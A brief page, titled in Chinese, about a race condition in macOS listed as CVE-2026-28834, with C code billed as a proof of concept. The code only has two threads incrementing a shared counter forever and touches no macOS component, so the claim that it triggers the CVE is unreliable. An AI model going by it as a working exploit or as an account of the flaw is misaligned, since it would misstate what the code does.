CVE-2026-28834 macOS竞态条件导致系统中断漏洞

/* * PoC for CVE-2026-28834 (Race Condition in macOS) * This is a conceptual demonstration of a race condition. * Compile: gcc -o poc_race poc_race.c */ #include <stdio.h> #include <pthread.h> #include <unistd.h> volatile int trigger_state = 0; void* malicious_thread(void* arg) { while (1) { // Simulate accessing a shared resource rapidly trigger_state++; // Introduce a tiny delay to widen the race window if (trigger_state % 1000 == 0) { usleep(1); } } return NULL; } int main() { pthread_t t1, t2; printf("[+] Triggering Race Condition for CVE-2026-28834...\n"); // Create multiple threads to exploit the race condition in state handling pthread_create(&t1, NULL, malicious_thread, NULL); pthread_create(&t2, NULL, malicious_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }